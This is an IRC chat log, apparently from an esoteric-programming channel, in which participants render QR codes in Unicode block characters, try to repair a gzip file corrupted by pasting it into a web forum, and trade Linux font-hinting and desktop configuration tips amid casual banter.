21:22:13 <Friendship> elliott: Found an online QR-code converter, opened it in GIMP, converted it to ASCII PBM, wrote a little script to convert the ASCII PBM to Unicode.
21:22:17 <ais523> a/ha/, Xvfb wants /tmp/X11-unix to exist already
21:23:33 <ion> friendship: The http://code.google.com/p/google-authenticator/ PAM module can also display QR codes like that.
21:24:27 <Friendship> ion: But can it tell you to enjoy being locked in your matrix of solidity?
21:26:40 <fizzie> Friendship: Well done. I had to "-fg black -bg white" a terminal for it to happen.
21:27:27 <elliott> <elliott> fizzie: Except you'll have to invert it >_>
21:27:37 <elliott> QR codes should totally be inversion-resisetnt.
21:28:17 <fizzie> ▖▖▗ ▐ ▐ ▌▌▛▘▌ ▌ ▞▖ ▟▖▌ ▗ ▖▖▗ ▗▖▗ ▐ ▐ ▗ ▖▖ ▛▖▌ ▞▖▞▖▌▌ ▛▖▛▖▞▖▌▌▜▘▙▌▞▘
21:28:20 <fizzie> ▙▌▛▘▐ ▐ ▛▌▛▘▌ ▌ ▌▌ ▐ ▛▖▛▘▛ ▛▘ ▙ ▛▘▐ ▐ ▌▌▙▌ ▛▖▌ ▌▌▌▖▛▖ ▌▌▛▖▛▌█▌▐ █▌▌▌
21:28:24 <fizzie> ▀▘▝▘ ▘ ▘ ▘▘▀▘▀▘▀▘▝ ▘▘▘▝▘▘ ▝▘ ▘ ▝▘ ▘ ▘▝ ▀▘ ▀ ▀▘▝ ▝ ▘▘ ▀ ▘▘▘▘▘▘▀▘▘▘▝
21:28:51 <elliott> I had to go to the raw logs to read that.
21:28:56 <elliott> It deteriorated as the line went on with this font.
21:29:08 <fizzie> It possibly has the wrong sort of space.
21:29:11 <elliott> Is that the rf86k thing font?
21:29:59 <fizzie> Maybe em-space works better, is that what Friendship used?
21:30:52 <fizzie> ▄ ▄ ▖▖ ▌ ▗ ▟▖▟▖▗ ▖▖ ▐ ▝ ▌ ▗ ▟▖▌ ▝ ▗▖▀▖
21:30:55 <fizzie> ▄▌▌▌▚▌ ▛▖▛▘▐ ▐ ▛▘▛ ▐ ▐ ▙▘▛▘ ▐ ▛▖▐ ▘▖▝
21:30:59 <fizzie> ▀▘▘▘▄▘ ▀ ▝▘ ▘ ▘▝▘▘ ▘▝ ▘▘▝▘ ▘▘▘▝ ▀ ▝
21:31:18 <Friendship> Those were both readable to me *shrugs*
21:31:41 <fizzie> Oh well. Everything presumably works with monospace fonts.
21:31:47 <fizzie> olsner: Did The Code work for you?
21:31:57 <olsner> I have a monospace font, Friendship worked, but fizzie didn't
21:32:44 <fizzie> Friendship: Oh, the code is done with half-blocks? Mine were with quarter-blocks.
21:32:52 <olsner> could be a not-quite-monospace font I suppose, or falling back to the wrong non-monospace characters or something... but then gregor's should be broken too?
21:33:17 <Friendship> Yeah, the code uses only em spaces, half blocks and full blocks.
21:33:21 <fizzie> It seems to use different characters.
21:33:43 <fizzie> Mine uses the quarter-blocks too.
21:33:50 <ais523> !c printf("%x %x", '', '‹');
21:34:29 <ais523> !c printf("%d", 0xe2);
21:34:48 <ais523> !c printf("%d", 0213);
21:36:28 <fizzie> Given the usual short of character cell shape, the half-blocks are probably more rectangular pixels than the quarter-blocks.
21:36:55 <Friendship> Each character is two cells, stacked vertically.
21:38:04 <fizzie> All the block elements are completely rectangular in the Unicode code chart examples. But, of course, "[t]he shapes of the reference glyphs used in these code charts are not prescriptive."
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21:40:29 <elliott> <fizzie> ▄ ▄ ▖▖ ▌ ▗ ▟▖▟▖▗ ▖▖ ▐ ▝ ▌ ▗ ▟▖▌ ▝ ▗▖▀▖
21:40:29 <elliott> <fizzie> ▄▌▌▌▚▌ ▛▖▛▘▐ ▐ ▛▘▛ ▐ ▐ ▙▘▛▘ ▐ ▛▖▐ ▘▖▝
21:40:29 <elliott> <fizzie> ▀▘▘▘▄▘ ▀ ▝▘ ▘ ▘▝▘▘ ▘▝ ▘▘▝▘ ▘▘▘▝ ▀ ▝
21:40:33 <Friendship> elliott: There, I did the same for the logo
21:40:37 <fizzie> They could use one 64k plane for a set where there's all the 4x4 characters; and one more that would have the same 2x2 elements but at 16 different levels of shading. I mean, planes 3-13 are just *sitting* there.
21:41:04 <elliott> <ais523> !c printf("%x %x", '', '‹');
21:41:14 <elliott> what character is that underline?
21:41:57 <ais523> elliott: someone's got a bunch of binary data they're trying to decote
21:42:06 <ais523> fizzie: underlined for me
21:42:08 <fizzie> Yeah, it's ctrl-underscore in here.
21:42:33 <ais523> I suspect it's a zipfile that's been run through a bunch of re-encodings between UTF-8, and some 8-bit encoding that isn't latin-1
21:42:35 <ais523> but can't tell for sure
21:43:03 <ais523> the first byte is correct, but the second isn't
21:43:09 <fizzie> Décote. Sounds French.
21:43:18 <fizzie> "Decote (do francês décolletage ou décolleté) --" pt.wiki.
21:43:43 <elliott> !c int algol = 42; printf("%d\n", algol);
21:43:52 <ais523> hey, perhaps it's Windows-12452
21:44:03 <elliott> (Yes, I know, that's inverse to Algol.)
21:44:14 <olsner> it's probably not EBCDIC
21:45:13 <ais523> olsner: it was copy-pasted into a forum post here: http://pnewman.net/shelter/viewtopic.php?p=11249&f=2#p11249
21:45:19 <EgoBot> .ACTION hugs elliott.
21:45:21 <ais523> I asked the author if they have the original
21:45:25 <ais523> because phpBB is not a good way to send binary files
21:45:30 <olsner> copy-pasted? oh damnit
21:45:47 <ais523> olsner: see why I'm having problems decoding it?
21:45:53 <ais523> I think it was just gzipped
21:45:59 <ais523> before it went through the copy-paste
21:46:06 <olsner> yeah, no wonder you can't read that, it's gibberish!
21:47:23 <elliott> Friendship: Please, never remove the CTCP filtering.
21:48:08 <olsner> wtf, running less on anything called ".bin" gives you the message "Install mkisofs to view ISO images"
21:51:14 <fizzie> Since it starts "1f e2 80 b9 08 ...", and most gzip files are compressed with deflate (== 0x08), one presumes you just have to find a transformation that maps e2 80 b9 into 8b.
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21:51:47 <olsner> maybe latin (or something) to utf8 twice?
21:54:50 <fizzie> e2 80 b9 looks very UTF8y for the "single left-pointing angle quotation mark" ‹, and that's exactly 0x8B in CP1252.
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21:55:04 <fizzie> But there's something else going on, since iconv complained about illegal UTF-8 at some point.
21:55:30 <fizzie> $ iconv -f utf-8 -t cp1252 < bin.txt > bin2.txt
21:55:31 <fizzie> iconv: illegal input sequence at position 121
21:55:34 <fizzie> bin2.txt: gzip compressed data, ASCII, has CRC, last modified: Fri Jan 31 17:14:52 2014
21:55:54 <fizzie> Well. It's gzippy enough for 'file' after that, but position 121 is pretty soon.
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21:58:11 <elliott> http://eprint.iacr.org/2012/064
21:59:35 <ais523> fizzie: I'm guessing that phpBB interpreted it as windows-1252 and converted it to utf-8, except possibly where it was legal utf-8 already
22:00:01 <olsner> Ignoring the encoding errors when converting to cp1252, I get "mystery.cp1252: Minix filesystem, V3, 63802 zones" instead
22:00:36 <olsner> and "gzip: mystery.cp1252 is a multi-part gzip file -- not supported"
22:01:04 <fizzie> c2 8f c3 88 54 .. is the point where iconv doesn't like it any more, which is slightly weird, since C2 8F => 11000010 10001111 looks perfectly good UTF-8 for U+008F... okay, which CP1252 doesn't actually have.
22:01:30 <ais523> I guess it should be treated as a literal 8f, then?
22:02:24 <fizzie> Yes, possibly, but I'm not sure how to tell iconv that.
22:03:22 <ais523> we need a windows-1252-or-otherwise-literally encoding
22:04:13 <olsner> not sure what literally can mean when the source is unicode and the target only has 8 bits available :)
22:06:08 <ais523> oh dear, I doubt we're going to be able to get iconv expanded to handle this case, either
22:06:11 <fizzie> gzip: bin2.txt is a multi-part gzip file -- not supported
22:06:14 <ais523> it was written by Ulrich Drepper
22:06:50 <fizzie> That was with Perl's "Encode", which by default seems to replace the bad things with a "?" when encoding to cp1252.
22:07:20 <olsner> that's barely better than iconv's //ignore option :)
22:08:15 <fizzie> Well, I think this one PERLQQ mode can be hacked to put in the byte itself.
22:08:21 <ais523> As of Encode 2.12 CHECK can also be a code reference which takes the
22:08:22 <ais523> ord value of unmapped caharacter as an argument and returns a string
22:08:24 <ais523> that represents the fallback character. For instance,
22:08:31 <olsner> but with any tool that can tell you when it's broken, you just take 1/2/3 bytes of input, see if it decodes as utf-8, and then if it encodes as either 1252 or latin1
22:08:35 <fizzie> Oh, it can take a coderef directly.
22:08:38 <ais523> fizzie: try using sub {@_[0]} as your argument
22:08:41 <fizzie> I was going to s/// the things.
22:09:30 <fizzie> Let's see what gzip says.
22:10:18 <fizzie> gzip: bin2.gz is a multi-part gzip file -- not supported
22:10:23 <fizzie> That's still not good.
22:10:38 <fizzie> The last-modified date in 2014 is a bit strange too.
22:10:43 <ais523> but it seems likely to be
22:10:52 <ais523> it was originally from a web browser cache
22:10:55 <fizzie> The first three bytes look very gzippy, that's about it.
22:11:01 <ais523> and it has the right magic number
22:11:26 <ais523> oh, huh, that's indeed possible
22:11:42 <elliott> thats content-encoding: deflate
22:12:41 <ais523> anyway, is this likely to be fixed soon, or shall I go home? I need to go home
22:13:06 <fizzie> I need to go sleep, so probably not by me.
22:13:29 <fizzie> Anyway, a DEFLATE stream wouldn't (except by chance, of course) have the gzip headers at the start.
22:13:41 <fizzie> (Admittedly it's just two fixed bytes and a very likely third.)
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22:16:27 <olsner> hmm, starting with the modification time it looks broken... XFL=0x23, OS=0xc9 according to my reading
22:18:42 <fizzie> Hmm. FLG = 0x03 -> FTEXT, FHCRC; then a four-byte little-endian mtime of "ec bd eb 52"; indeed, 23 C9 .. doesn't seem very likely for XFL and OS.
22:18:54 <fizzie> Or is that bigendian? I guess it is.
22:19:04 <fizzie> Well, it doesn't look all *that* likely.
22:19:43 <olsner> both xfl and os are single-byte fields, endianness shouldn't matter there?
22:20:56 <fizzie> No, I just meant the mtime.
22:21:57 <fizzie> Anyway, most .gz files I can make seem to start with "1f 8b 08 00 ...", so just the 03-as-FLG is a bit suspicious, even if the flags aren't *that* weird.
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22:23:26 <olsner> the date displayed by `file` is what I get from date -d @$[0x52ebbdec], i.e. little endian
22:25:00 <olsner> hmm, has there been some special funky encoding of null characters?
22:25:51 <fizzie> olsner: Or just omission of them. :p
22:27:39 <olsner> but if you just insert a 0 before the three I think it'll be an even weirder mtime
22:28:51 <fizzie> That much is true, and there doesn't really seem to be a reasonable XFL value (04 or 02) or an OS value (0x or FF) in the vicinity.
22:31:01 <fizzie> (But it is also true that there are no 00s in the whole thing. Maybe it would be good if the author would use some other sort of a method to show the binary file to people than just "paste it into a webforum".)
22:31:20 <fizzie> Okay, I think this concludes my involvement in this thing. ->
22:31:39 <oklopol> but what is "show", really
22:31:47 <oklopol> can we really ever "show" anything
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22:33:17 <elliott> <olsner> hmm, has there been some special funky encoding of null characters?
22:33:21 <elliott> olsner: there is a "standard" alt. encoding of them
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22:36:09 <fizzie> The "standard" one is just the two-byte version of U+0000, and I'm not seeing any of those either. But I could easily imagine that some point during the copy-paste process would drop embedded raw nuls.
22:36:10 <olsner> fizzie: "I saved that straight from the cache and the [code] tags should stop any formatting. I'll upload it when I have a chance, but I'm pretty sure it's identical."
22:37:10 <fizzie> What's that whole thing even all about?
22:37:27 <fizzie> "mafiascum.net Fallout Shelter: A temporary home during Moving Day"
22:37:32 <fizzie> I don't quite know what any of that means.
22:37:38 <fizzie> Well, I've heard about "home".
22:37:43 <elliott> fizzie: mafiascum.net is the most popular forum for playing [[Mafia (game)]].
22:37:51 <elliott> aka <a whole bunch of things>
22:37:56 <olsner> from what I gather, some place where lots of people had "games" uploaded, and now the whole thing crashed
22:38:11 <olsner> and people are trying to restore their savegames from other peoples caches, or something
22:38:26 <elliott> olsner: "savegames" = forum threads.
22:39:04 <elliott> You know that game where everyone votes to eliminate the members of the [mafia|werewolves|any number of names]? No?
22:43:44 <Sgeo_> elliott, have you ever played on EpicMafia?
22:44:06 <oklopol> is that one of those Virtual Games that you love so much?
22:44:25 <oklopol> also can anything really ever be a "thing"
22:44:59 <Sgeo_> It's just Mafia more real-time. I guess like it might be played on IRC, but with some help
22:45:54 <Sgeo_> EpicMafia appears to be down :(:(:(
22:47:13 <elliott> Sgeo_: I have never played mafia on any forums dedicated to the purpose.
22:54:44 <oklopol> is there ever really any real "purpose"
22:56:06 <olsner> oklopol seems to be in a philosophical mood
22:58:16 <olsner> does Friendship really exist?
22:58:48 <Friendship> From pseudophilosophy to just plain stupid in one leap!
22:59:21 <oklopol> do these questions even really ask anything
22:59:38 <oklopol> what is the purpose of love?
22:59:54 <olsner> Has anyone really been far even as decided to use even go want to do look more like?
23:01:09 <oklopol> this hotel room is way bigger than my apartment
23:02:15 <fizzie> Sounds like you are in the LAP of LUXURY there.
23:03:14 <oklopol> pekka haavisto arrived at the airport after baggage claim was already closed
23:03:22 <oklopol> they let him in the plane because of me
23:03:33 <oklopol> (to non-finns, pekka haavisto is gay)
23:04:49 <fizzie> Isn't he pretty gay to most Finns too?
23:04:52 <oklopol> i will not go into details because this may have been more about me being retarded than me being helpful.
23:08:20 <elliott> "In" the plane? Isn't it usually "on"?
23:09:28 <fizzie> Maybe an omitted word? "They let him <do something unspeakable> in the plane."
23:09:31 <olsner> elliott: he was going to ride on the plane, oklo got him a place in the plane
23:10:40 <olsner> I dunno, but I guess that's a good place if you want some heating (it's cold in space, after all)
23:12:04 <elliott> I think olsner is severely confused about the nature of aeroplanes.
23:14:47 <Friendship> He's deathly afraid of them. When he needs to fly, he takes a sedative and has his assistant handle everything. He just wakes up at his destination.
23:14:50 <oklopol> elliott: doesn't in the plane just mean actually inside the plane without taking a stand on whether he'll actually get to fly with it
23:15:37 <oklopol> well then i guess i meant inside the plane
23:15:48 <oklopol> that you certainly can't have a problem with
23:16:21 <oklopol> (i don't know if they let him fly, i just know they let him inside the plane)
23:18:21 <elliott> Friendship: Maybe his fears would be lessened if he didn't think they went to space.
23:18:39 <oklopol> wait are you still talking about something
23:19:28 <Friendship> OK peoples votin' time: Friendship or Gregor?
23:19:53 <Friendship> Only <name> can sail the mighty Gregship.
23:19:55 <oklopol> i find myself thinking about dying a lot when flying. and then i'm like lol, i'm much more likely to die in a bus. and then i get on a bus and i'm like wow i guess i should've hidden my chinese sex slaves better in case i die.
23:20:09 <elliott> (that's intermingling gregor and friendship except omitting all the letters that only friendship has lengthwise)
23:21:21 <oklopol> and then i'm like do i really care if people find my chinese sex slaves, i'm dead so nothing matters. and then i think a few other obvious further thoughts and then i realize shit this is philosophy, and then i get back to math.
23:21:43 <elliott> Friendship: Yes, agreed, use that.
23:22:00 <Friendship> (Most of which are living, breathing humans)
23:22:10 <oklopol> also my tunnels of face are full of snot because of the snot disease i had this week
23:22:16 <elliott> Friendship: Anyway, just rotate them. Though I'm used to Friendship now. Have you considered adopting Friendship as a fully-fledged alias?
23:22:34 <elliott> Heck, just change your name to Friendship.
23:22:35 <Friendship> I'm considering it. It's pretty cocky though, even for me.
23:22:36 <oklopol> my ears don't be hearing even still.
23:22:46 <elliott> Nonono, by "fully-fldged alias" I mean "beyond IRC".
23:22:55 <elliott> IDEALLY you should get it on your employment contract.
23:23:10 <elliott> (That is the official Final Stage of Aliasation.)
23:23:14 <Friendship> Yeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah Idonno about that.
23:23:24 <elliott> Friendship: You're so antialiased.
23:23:41 <Friendship> I mean, since we've already established by #esoteric psuedocanon that my middle name is Friendship anyway, it is on contracts.
23:23:56 <elliott> #esoteric pseudocanon affects reality now???
23:24:47 <elliott> Yeah, I say stick with it, if only for gems like that :P
23:25:15 <olsner> ooh, that's Friendship's full name right there
23:25:17 -!- oklopol has changed nick to nods.
23:25:30 <elliott> olsner: That's what Friendship said :P
23:25:39 <olsner> just repeating it so it sticks
23:25:41 <Friendship> elliott: The best "gem" thusfar though was: <B-ZaR> "Friendship is now known as Gregor" who decided this
23:25:43 <elliott> Ooh, Tim Schafer is doing an AmA!
23:25:55 -!- nods has changed nick to nads.
23:26:16 <nads> apparently these are both registered
23:27:04 <elliott> I bet 90% of people here don't even know who Tim Schafer is. :(
23:27:26 <olsner> I suspect you are right
23:27:43 <Friendship> elliott: The name makes me think Monkey Island.
23:27:46 <elliott> `Timothy Schafer (born July 26, 1967) is an American computer game designer. He founded Double Fine Productions in January 2000, after having spent over a decade at LucasArts. Schafer is best known as the designer of critically acclaimed games Full Throttle, Grim Fandango, Psychonauts, and Brütal Legend, and co-designer of the early classics The Secret of Monkey Island, Monkey Island 2: LeChuck's Revenge and Day of the Tentacle.
23:27:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: Timothy: not found
23:27:56 <pikhq> Tim Schafer, game designer, responsible for Grim Fandango, Psychonauts, and some of Monkey Island?
23:27:59 <elliott> Friendship: Yes, co-designer (Ron Gilbert being the main designer).
23:28:21 <elliott> It will take three more people to prove me wrong.
23:28:51 <elliott> JIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIX
23:28:56 <olsner> I didn't recognize the name
23:29:05 <Friendship> <Nisstyre> I also never speak in this channel.
23:29:08 <elliott> ^ul (He's that Grim Fandango guy, right?)S
23:29:09 <fungot> He's that Grim Fandango guy, right?
23:29:39 <elliott> How great would it be if clog piped up just to prove me wrong, and it turns out there's an ACTUAL PERSON there who reads the channel all the time.
23:29:40 <nads> i don't know the name but i can feel his spirit
23:29:43 <elliott> They just have their client set to log to the web, that's all.
23:30:47 <elliott> ghlflzd;kgjfh'skl;fj;ol AAAAAAAAAAH
23:31:21 -!- nads has changed nick to oklopol.
23:31:30 <oklopol> hey who is this nads guy, he seems smart
23:31:51 <oklopol> too confusing to have two smart ppl on the samme chanel
23:32:05 <elliott> oklofok is way smarter than you
23:32:27 -!- Vorpal has quit (Ping timeout: 260 seconds).
23:32:40 <oklopol> yeah but i keep him tied up in my bed
23:33:14 <elliott> I would totally try and play Grim Fandango again except Wine is apparently determined to confound my efforts in playing games.
23:47:31 -!- CHeReP has joined.
23:47:54 <HackEgo> CHeReP: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
23:48:48 <elliott> http://esolangs.org/wiki/Talk:Basic_Input/Output_Commander WHY WOULD YOU ARCHIVE THE PAGE LITERALLY DAYS AFTER IT WAS CREATED
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23:53:35 <oklopol> can anything ever really be "created"
23:54:26 <oklopol> haven't you read pluton's book about how he's not a planet and how things have ideal representations in the world of superphilosophy and everything's just copy paste from there
23:56:35 <oklopol> pumping air into my ear helps temporarily
23:56:58 <oklopol> but at least it's fun to do
00:07:41 <Friendship> <elliott> http://esolangs.org/wiki/Talk:Basic_Input/Output_Commander WHY WOULD YOU ARCHIVE THE PAGE LITERALLY DAYS AFTER IT WAS CREATED // why would you archive the page ... at all.
00:09:47 <elliott> Friendship: Well, archiving talk pages when they grow long is reasonable. Archiving them days after they were created, and are one section long, is not.
00:09:55 <elliott> (+ not using the template designed for the purpose)
00:12:44 <Friendship> I'll add a comment "Please don't archive when the talk page isn't long", then a day later it'll vanish, replaced with Archive 2
00:14:14 <elliott> Friendship: Actually, go ahead, then it won't look like I'm picking on the guy when I delete the archiev :P
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00:22:31 <kallisti> elliott: what display manager are you using?
00:25:27 <elliott> Occasionally I've used xdm, which can be whipped up into looking reasonable rather than like ass in a few minutes.
00:28:56 <kallisti> I think slim looks pretty nice once properly configured.
00:30:04 <kallisti> ...didn't we already have this conversation and determine that it's maintained?
00:31:18 <kallisti> unless the website is out of date as well, it still has a maintainer.
00:31:34 <elliott> Plenty of packages "have maintainers" but are unmaintained.
00:31:52 <elliott> OK, last release was 2012-02. However the release before that was 2010-07 and is what Arch has (and I bet Debian too).
00:31:59 <elliott> Perhaps it's been revived.
00:32:08 <elliott> But that still means it likely has a couple of years bitrot in it.
00:32:16 <kallisti> also, I configured my prntscr key to automatically place the image in my dropbox public folder, and then copy the public URL to primary selection.
00:32:25 <kallisti> it's basically really obnoxious to anyone else but me.
00:32:37 <kallisti> because I could, if I wanted, just spam second-by-second screenshots.
00:32:52 <kallisti> yes but the public url is instant
00:32:57 <kallisti> you do have to wait for it to upload.
00:33:04 <kallisti> otherwise the link is just 404
00:34:49 <kallisti> also my xmobar is completely riced out.
00:35:05 <kallisti> I'm more ricer than those youtubers with compiz.
00:35:36 <kallisti> (okay, maybe not that extreme... that's pretty ricery)
00:35:59 <kallisti> but then... xmobar was already working and laziness happened.
00:36:10 <elliott> dzen2 is actually not that good, but I'm bound by pact of honour to shachaf to not use xmobar, and by pact of fizzie to use what he uses, i.e. dzen2.
00:36:26 <kallisti> I mean, what actual features does it have.
00:36:55 <elliott> Probably nothing over dzen. xmonad has integration for both.
00:37:41 <kallisti> gaze at my obnoxiously dark theme http://dl.dropbox.com/u/16495819/2012-03-04_19-36-26_1366x768.png
00:38:16 <elliott> Your text rendering settings are all wrong, :(
00:38:45 <elliott> You have medium/full hinting when you want slight.
00:39:00 <elliott> <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
00:39:00 <elliott> <edit name="hintstyle" mode="assign">
00:39:08 <elliott> Put that in /etc/fonts/local.conf.
00:39:18 <elliott> (Except IIRC sometimes Chrome has trouble listening to those. Pah.)
00:39:36 <elliott> Also why the fuck do you use a line cursor rather than a block in your terminal?
00:40:21 <elliott> Why aren't you using Chrome?
00:40:30 <kallisti> also because google privacy policy
00:40:56 <kallisti> and I like line cursor because that's what I'm used to.
00:41:08 * shachaf didn't realize that pact existed.
00:41:18 <shachaf> Use xmobar if you like. I don't care.
00:41:31 <elliott> kallisti: "Google privacy policy" is rather irrelevant to Chrome.
00:41:45 <elliott> I mean, Mozilla aren't all sunshine and flowers, either.
00:41:46 <Sgeo_> elliott, does this page display properly for you in Chrome? It doesn't for me but does in Firefox.
00:41:46 -!- oerjan has joined.
00:41:47 <Sgeo_> http://www.flyingmachinestudios.com/programming/chunky-bacon-lisp/
00:42:07 <kallisti> elliott: also I was having issues with html5 video in youtube for some reason.
00:42:12 <kallisti> firefox doesn't have that problem.
00:42:37 <shachaf> elliott: I'm not using Chrome.
00:42:48 <shachaf> I hope there's no pact about that that I wasn't aware of.
00:43:06 <kallisti> elliott: why do I want slight hinting
00:43:09 <kallisti> I don't know much about hinting
00:43:16 <elliott> Sgeo_: Yes, Chromium 17.0.963.56 displays that page the same as Firefox 10.0.2 here.
00:43:33 <elliott> kallisti: Stronger hinting ruins the line shapes of the fonts and makes them look thin.
00:43:48 <Sgeo_> elliott, no words jumbled together and going off margins?
00:44:00 <elliott> kallisti: Slight hinting is "blurrier", but only for the short amount of time it takes you to get used to it, and is easier to read after that (on the majority of displays). It's the default for Ubuntu.
00:44:09 <elliott> Sgeo_: I'm on the Chrome developer build, though.
00:44:19 <Sgeo_> elliott, I seem to be using the same exact build
00:44:26 <kallisti> elliott: I don't have a local.conf. should I create it?
00:44:34 <Sgeo_> Developer Build 121963
00:44:47 <Sgeo_> Wait, Ubuntu 11.10? Wat?
00:44:55 <Sgeo_> I thought I was on 11.04, hmm
00:45:08 <elliott> kallisti: Yeah. You'll need to restart your session for it to take effect, too.
00:45:14 <elliott> kallisti: (You might also want to enable subpixel rendering, while you're at it.)
00:45:33 <Sgeo_> Could it possibly be LXDE's fault?
00:45:44 <elliott> $ cd /etc/fonts/conf.d && sudo ln -s ../conf.avail/10-sub-pixel-rgb.conf .
00:45:58 <Sgeo_> I should figure out how to screenshots on here
00:46:39 <Sgeo_> kallisti, Lubuntu 11.10
00:47:23 <lambdabot> elliott said 8h 25m 10s ago: gosc is the compiler ais523 talks about a lot from idealised ALGOL (with lambdas) to VHDL
00:48:03 <Sgeo_> http://imgur.com/Qz89S
00:48:10 <Sgeo_> Why does that page look like that?
00:48:44 <elliott> Try decreasing + re-increasing font size.
00:49:27 <Sgeo_> scrot was already installed. And apparently running the last few times I tried to take screenshots and thought I failed
00:49:59 <kallisti> have you had any trouble with ACPI?
00:50:05 <kallisti> my laptop doesn't suspend when I close the lid.
00:50:44 <elliott> This laptop doesn't ever do that, I don't think.
00:50:53 <elliott> I never use suspend on here though.
00:51:15 <kallisti> GTK apps look like shit still.
00:51:27 <Sgeo_> Hey, maybe I can actually re-read Boatmurdered now
00:52:04 <Friendship> What's the past tense of creep (verb)?
00:52:30 <Friendship> Was wondering why "creeped" had red squigglies.
00:52:51 <oerjan> i think creeped has a different meaning, as in creeped out
00:53:11 -!- iambored has changed nick to PiRSquared.
00:53:24 <oerjan> iambored at the jamboree
00:53:26 <elliott> He creeped out of the photo shoot, utterly crept out.
00:53:26 <kallisti> elliott: as long as I'm running firefox and terminal apps everything looks dandy.
00:53:35 <kallisti> but if I open up windowed emacs..
00:53:40 <elliott> kallisti: emacs has colour schemes too.
00:53:43 <elliott> GTK won't help much there.
00:53:50 <elliott> Install the elisp goodies package.
00:53:55 <kallisti> I've just been using emacs -nw ...
00:54:07 <elliott> Friendship: I TAKE IT YOU'RE NOT GOING TO MAKE THAT COMMENT
00:54:32 <kallisti> elliott: this has been a good venture. I've learned a few things about linux.
00:54:37 <kallisti> also, I've learned that screen is awesome.
00:55:02 <kallisti> I wish there was also a "screen" for X apps.
00:55:11 <kallisti> there's probably a way to do it.
00:55:34 <kallisti> I like it solely for the reason that it preserves console programs as I repeatedly restart my X session.
00:55:35 <elliott> kallisti: If you just use screen for the detaching (as implied by your X apps comment), you might consider dtach.
00:55:44 <elliott> But it doesn't do anything more than that.
00:55:48 <elliott> Also I'm not sure it's in Debian.
00:56:05 <kallisti> the ctrl+a thing actually gets in the way
00:56:14 <kallisti> and yes dtatch is in the repos
00:56:16 <elliott> Well, it has to have some key to detach :)
00:56:21 <elliott> screen's and dtach's are both configurable, I think.
00:56:27 <elliott> Anyway, yes there's detaching for X apps, but it's kind of ugly I think
00:56:43 <elliott> X gives you one nicety that nobody wants (network transparency) and withholds all the others.
00:57:08 <kallisti> I just... haven't. I think I have configure fatigue.
00:58:22 <Sgeo_> Maybe I can re-read Boatmurdered now.
00:58:31 <Sgeo_> Hmm, would an epub of Boatmurdered be a bad idea?
00:58:34 <elliott> <Sgeo_> Hey, maybe I can actually re-read Boatmurdered now
00:58:35 <elliott> <Sgeo_> Maybe I can re-read Boatmurdered now.
00:58:42 <elliott> Maybe Sgeo_ can re-read Boatmurdered now.
00:58:43 <kallisti> wtf was I even doing I forgot...
00:58:50 <elliott> kallisti: Reading conduit documentation.
00:58:51 <monqy> maybe sgeo- can re_read boatmurdered now
00:58:58 <Sgeo_> I think I'm losing my memory.
00:59:05 <olsner> maybe Sgeo_ can be boatmurdered now
00:59:08 <Sgeo_> Hmm, I think I'm having some memory issues.
00:59:15 <Sgeo_> Hmm, I think I'm forgetting stuff.
00:59:19 <Friendship> Maybe Sgeo_ can transmute into a boat now.
00:59:26 <kallisti> elliott: no that was a long time ago.
00:59:36 <kallisti> I was... likely about to configure something.
00:59:44 <kallisti> as that's what I've been doing for the past 4-5 days or so.
01:00:35 <kallisti> oh, right. I was going to restart slim.
01:00:46 <elliott> No, just quit yr session to get the hinting.
01:00:54 <elliott> OK, I guess that might technically restart slim.
01:01:14 <elliott> So how long did it take you to get sick of Xfce?
01:01:15 <kallisti> I can't tell if it's different.
01:01:25 <kallisti> http://dl.dropbox.com/u/16495819/2012-03-04_20-00-50_1366x768.png
01:01:38 <kallisti> it looks a bit better I think.
01:01:44 <kallisti> ...oh I need to change my irssi font.
01:01:48 <kallisti> or... is that terminators font?
01:01:52 <Sgeo_> How much is color needed to read Boatmurdered?
01:01:55 <Sgeo_> I want an epub version
01:02:06 <elliott> kallisti: What does it look like in Firefox?
01:02:15 <kallisti> so irssi uses whatever the terminal uses right?
01:02:41 <elliott> Shut up with stupid terminal questions and screenshot Firefox.
01:02:41 <kallisti> because... I'm pretty sure I went straight from Ubuntu with GNOME 2 to Debian with xmonad.
01:03:02 <elliott> No, you installed Xfce against my advice.
01:03:09 <Sgeo_> "They literally put the work into the public domain by putting it on a public forum for everyones use."
01:03:13 <Sgeo_> http://www.bay12forums.com/smf/index.php?topic=100035.0
01:03:14 <kallisti> no you're thinking of someone else.
01:03:20 <Sgeo_> Someone please hand me a face to palm.
01:03:36 <elliott> kallisti: This isn't amusing.
01:03:41 <kallisti> http://dl.dropbox.com/u/16495819/2012-03-04_20-03-02_1366x768.png
01:03:49 <kallisti> elliott: I have not once touched Xfce
01:03:57 <Sgeo_> "I guess the others assumed they would be greatful that other people are spending their free time to help spread the influence and accessability of their work, and not asking for a wage or any payment whatsoever for doing so.
01:03:57 <Sgeo_> They should be greatful.
01:03:57 <Sgeo_> Asking permission is like saying "Please oh please can I spend my time putting your work into a format so even more people can read it".
01:03:57 <Sgeo_> Fuck that, hes doing them a favor, though I'm sure he will ask out of pure courtesy.
01:03:58 <kallisti> a brief conversation about it, as I was considering new DEs
01:04:13 <elliott> kallisti: Firefox's toolbar uses the new settings. (You can compare with your previous screenshot.)
01:04:19 <elliott> Whether the text does is another matter.
01:04:30 <elliott> Your terminal continues to use the older sessions; I think I know why.
01:04:54 <kallisti> oh right that wouldn't make sense.
01:04:54 <elliott> Put this in ~/.Xresources:
01:05:14 <elliott> in your .xinitrc/.xsession/whatever.
01:05:18 <elliott> Then restart your session again.
01:05:28 <elliott> Actually, scratch that lcdfilter line.
01:05:51 <Sgeo_> Gah this person is a moron
01:05:52 <kallisti> uh, I'm guessing those random [[ ]] things are part of the config?
01:06:05 <elliott> kallisti: No, that's how I quote long sessions of text.
01:06:17 <Sgeo_> elliott, I know you don't believe that copyright is a good thing, but do you at least recognize that currently, the law is what it is?
01:06:26 <Sgeo_> I assume you do because you're sane.
01:06:45 <kallisti> does it make hinting better on LCDs?
01:06:47 <elliott> Sgeo_: What do you mean "what it is"?
01:07:05 <elliott> kallisti: The LCD filter is complicated font rendering stuff you wouldn't understand(tm). lcddefault is actually... the default.
01:07:12 <elliott> So you can remove that line.
01:07:16 <elliott> (Yes, I changed my mind again.)
